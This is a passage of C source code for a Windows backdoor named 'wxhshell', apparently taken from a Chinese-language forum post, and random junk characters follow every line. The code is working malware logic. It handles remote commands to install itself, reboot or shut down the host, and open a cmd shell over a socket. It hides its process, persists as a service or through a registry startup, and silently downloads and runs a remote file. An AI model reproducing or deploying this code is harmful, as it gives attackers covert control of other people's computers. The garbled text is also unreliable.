  case '?': { F",]*> r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x?Wt\<|h!  
    break; %qA +z Pf  
  } ejj|l   
  // 安装 w, 0tY=h6  
  case 'i': { j7;v'eA`;7  
    if(Install()) f.Y9gkt3d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K GlO;Q~7  
    else jE)&`yZ5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '[shY  
    break; <}pwFl8C)  
    } fgFBOpG%Gq  
  // 卸载 a!"81*&4#  
  case 'r': { W(*:8}m,p  
    if(Uninstall()) DQg:W |A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cmDskQ:  
    else o{*8l#x8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W>b(hVBE  
    break; m:TS .@p  
    } G'XlsyaWrb  
  // 显示 wxhshell 所在路径 ? WWnt^  
  case 'p': {  9H*$3  
    char svExeFile[MAX_PATH]; mwFI89J'  
    strcpy(svExeFile,"\n\r"); S~vbISl  
      strcat(svExeFile,ExeFile); ,hK0F3?H>  
        send(wsh,svExeFile,strlen(svExeFile),0); +3e(psdg  
    break; yWIM,2x}  
    } jIMaP T  
  // 重启 Egt;Bj#%  
  case 'b': { e,Xvt5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G8`q-B}q  
    if(Boot(REBOOT)) 7Z>u|L($m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <FH3 ePz  
    else { b:7;zOtF  
    closesocket(wsh); lj.z>  
    ExitThread(0); daBu<0\  
    } zMX7 #,  
    break; ~\hA-l36  
    } y]=v+Q*+  
  // 关机 zW%-Z6%D  
  case 'd': { Y',s|M1})\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'j$iSW&  
    if(Boot(SHUTDOWN)) b@N|sXt&C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f(DGC2R <  
    else { zsI0Q47\  
    closesocket(wsh); q /|<>s  
    ExitThread(0); xZFha=#  
    } uc%75TJ@  
    break; YP~d1BWvf  
    } n4)G g~PE  
  // 获取shell O:q}<ljp  
  case 's': { \~xsBPX+x  
    CmdShell(wsh); r4NI(\gU  
    closesocket(wsh); tjOfekU  
    ExitThread(0); e~J% NU'&  
    break; pw:<a2.  
  } oypq3V=5  
  // 退出 PiI ):B>  
  case 'x': { ".v9#|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]*}*zXN/E  
    CloseIt(wsh); +n9&q#ah  
    break;  AO;+XP=  
    } \WouTn  
  // 离开 {^9,Dy_D  
  case 'q': { sx8mba(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `(=)8>|e  
    closesocket(wsh); WKBPqfC  
    WSACleanup(); +Qu~UK\   
    exit(1); P>L-,R(7e  
    break; NNutpA}s  
        } _w+sx5  
  } Pc? d@tm  
  }  ceVej'  
e@k ti@ZJ  
  // 提示信息 CJjma=XH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xa<siA{  
} |Y/iq9l  
  } 3X0^xUA6  
Ca+d ?IS  
  return; ReKnvF~  
} GOH@|2N  
U@D=.6\B  
// shell模块句柄 ~ ;)@a  
int CmdShell(SOCKET sock) HtY\!_Ea  
{ Js^ADUy  
STARTUPINFO si; }E8 Y,;fTD  
ZeroMemory(&si,sizeof(si)); QwOQS %  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'ycs{}'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xkUsZ*X8B  
PROCESS_INFORMATION ProcessInfo; /J{P8=x}_:  
char cmdline[]="cmd"; ~DqNA%Mb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "793R^Tz  
  return 0; _PNU*E%s<  
} i-sE\m  
w'M0Rd]  
// 自身启动模式 56?U4wj7{  
int StartFromService(void) ,dBtj8=  
{ L=Dx$#|  
typedef struct .h~)|" uzW  
{ P|HY=RM a  
  DWORD ExitStatus; sS5#Q  
  DWORD PebBaseAddress; ( }JX ]-  
  DWORD AffinityMask; P[XE5puC  
  DWORD BasePriority; &??(EA3  
  ULONG UniqueProcessId; 2Y  6/,W  
  ULONG InheritedFromUniqueProcessId; 2U~oWg2P  
}   PROCESS_BASIC_INFORMATION; T a/G  
Ks7s2vK^  
PROCNTQSIP NtQueryInformationProcess; B TcxBh  
pVbX#3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G-"#3{~2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  PJk Mn  
1`aFL5[0$  
  HANDLE             hProcess; ynP^|Ou  
  PROCESS_BASIC_INFORMATION pbi; A*\4C3a'%  
Y 3KCIL9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1f[!=p  
  if(NULL == hInst ) return 0; ]BAF  
NTAPx=!1*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZP%^.wxC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P.;B V",  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [&+wW  
4,$x~m`N  
  if (!NtQueryInformationProcess) return 0; [FyE{NfiJ%  
=9pFb!KX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S'3l<sY  
  if(!hProcess) return 0; ;Kkn7&'F  
1/le%}mK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t~U:{g~  
@*%.V.  
  CloseHandle(hProcess); B*D`KA  
GueqpEd2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Iupk+x>  
if(hProcess==NULL) return 0; I9>1WT<Yy  
Y/@4|9!  
HMODULE hMod; Q`19YX  
char procName[255]; cHJ &a`;  
unsigned long cbNeeded; e j!C^  
.4-;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _|6{(  
G e~&Ble  
  CloseHandle(hProcess); |n6nRE wW  
zD)2af  
if(strstr(procName,"services")) return 1; // 以服务启动 @.CPZT  
vkBngsS  
  return 0; // 注册表启动 G3?8GTH  
} ?J<4IvL/  
 Xv:<sX  
// 主模块 MWhFNfS8=  
int StartWxhshell(LPSTR lpCmdLine) q~l&EH0  
{ t~@TUTbx  
  SOCKET wsl; ~9'VP }\  
BOOL val=TRUE; 8Cm^#S,+  
  int port=0; &p4q# p7,  
  struct sockaddr_in door; a_x|PbD  
M:C*?;K:  
  if(wscfg.ws_autoins) Install(); *5|\if\  
>#0yd7BST  
port=atoi(lpCmdLine); {kZhje^$vi  
x%x[5.CT  
if(port<=0) port=wscfg.ws_port; u4.-AY {  
roRZE[ya  
  WSADATA data; |0-5-.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vx-u+/\  
/{qr~7k,oQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k87B+0QEL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BHFWig*{  
  door.sin_family = AF_INET; wetkmd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \ =83#*KK  
  door.sin_port = htons(port); JBjz2$ZM  
Ye1P5+W(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f#^%\K:YYR  
closesocket(wsl); Jnv91*>h8  
return 1; A?6b)B/e?  
} d~[ >%&  
q:nYUW o   
  if(listen(wsl,2) == INVALID_SOCKET) { E[_Z%zd^  
closesocket(wsl); >:wk.<Z-  
return 1; \6@}HFH  
} v3@)q0@  
  Wxhshell(wsl); lYy0   
  WSACleanup(); x{ZcF=4  
][qZOIk@  
return 0; o*dhks[  
Hj2P|;2S  
} $RF"m"  
I s88+,O  
// 以NT服务方式启动 :Eob"WH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zHx?-Q&3  
{ 'l<kY\I!%  
DWORD   status = 0; gw5CU)r4$  
  DWORD   specificError = 0xfffffff; 8K1+ttjm  
8I~H1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LFh(. }  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iAXx`>}m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E2dSOZS:)%  
  serviceStatus.dwWin32ExitCode     = 0; 2@A7i<p  
  serviceStatus.dwServiceSpecificExitCode = 0; B"{CWH O  
  serviceStatus.dwCheckPoint       = 0; X|.X4fs  
  serviceStatus.dwWaitHint       = 0; d5u,x.R  
bg 7b!t1F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XvdK;  
  if (hServiceStatusHandle==0) return; -|ee=BV  
~}TVM%0RTq  
status = GetLastError(); ]Q)TqwYF  
  if (status!=NO_ERROR) qnT:x{o  
{ LTJ|EXYA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B|!YGf L  
    serviceStatus.dwCheckPoint       = 0; 9$Hgh7'hvs  
    serviceStatus.dwWaitHint       = 0; |NM.-@1  
    serviceStatus.dwWin32ExitCode     = status; 4$y|z{[< 5  
    serviceStatus.dwServiceSpecificExitCode = specificError; JbG+ysn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i>0bI^H  
    return; &Cdd  
  } s[Njk@y,  
Ak4iG2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W]reQ&<Z  
  serviceStatus.dwCheckPoint       = 0; KXR  
  serviceStatus.dwWaitHint       = 0; 2#|Q =rWB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #>!!#e!*  
} <hS >L1ZSr  
H,zRmK6A%  
// 处理NT服务事件,比如:启动、停止 ~Ilgc CF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;1F3.ibE  
{ LeO5BmwHR  
switch(fdwControl) \d v9:X$  
{ H#Vs3*VK  
case SERVICE_CONTROL_STOP: Z;Tjjws  
  serviceStatus.dwWin32ExitCode = 0; -+c_TJ.dC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )%UO@4  
  serviceStatus.dwCheckPoint   = 0; 3B;B#0g50  
  serviceStatus.dwWaitHint     = 0; ~sk 4v:-  
  { oBIKt S*L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c)lMi}/  
  } o'Po<I  
  return; |%TH|?kB  
case SERVICE_CONTROL_PAUSE: 5w{_WR6,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~EdmVEu  
  break; N )&3(A@  
case SERVICE_CONTROL_CONTINUE: }X}fX#[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9n44 *sZ  
  break; j >P>MdZtk  
case SERVICE_CONTROL_INTERROGATE: h5B'w  
  break; C+2*m=r  
}; vE&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `ZNz Dr  
} N<O^%!buR  
n802!d+Tn  
// 标准应用程序主函数 Rz%+E0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z) Bc91A  
{ Qv[@ioc  
opdi5 e)jK  
// 获取操作系统版本 lZ E x0  
OsIsNt=GetOsVer(); Pm V:J9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =j }]-!  
r@k&1*&  
  // 从命令行安装 q[**i[+%  
  if(strpbrk(lpCmdLine,"iI")) Install(); @K2q*d  
F&I^bkvh  
  // 下载执行文件 6fQQKM@a|  
if(wscfg.ws_downexe) { '6[0NuB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L?<V KT  
  WinExec(wscfg.ws_filenam,SW_HIDE); m$0T"`AP`  
} -:>Mi5/ s  
|)yO] pB:  
if(!OsIsNt) { ?v `0KF  
// 如果时win9x,隐藏进程并且设置为注册表启动 v(]\o;/O  
HideProc(); qKZ~)B j  
StartWxhshell(lpCmdLine); (t fADaJM  
} </Q<*@p?  
else 8@Y]dz gjj  
  if(StartFromService()) ,Cde5A{K  
  // 以服务方式启动 W 4~a`D7  
  StartServiceCtrlDispatcher(DispatchTable); n$B=Vt,  
else RE7 I"  
  // 普通方式启动 &F)P3=  
  StartWxhshell(lpCmdLine); oTT/;~I  
]KLj Qpd  
return 0; U $e-e/  
}
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只看该作者 1 发表于: 2006-10-10
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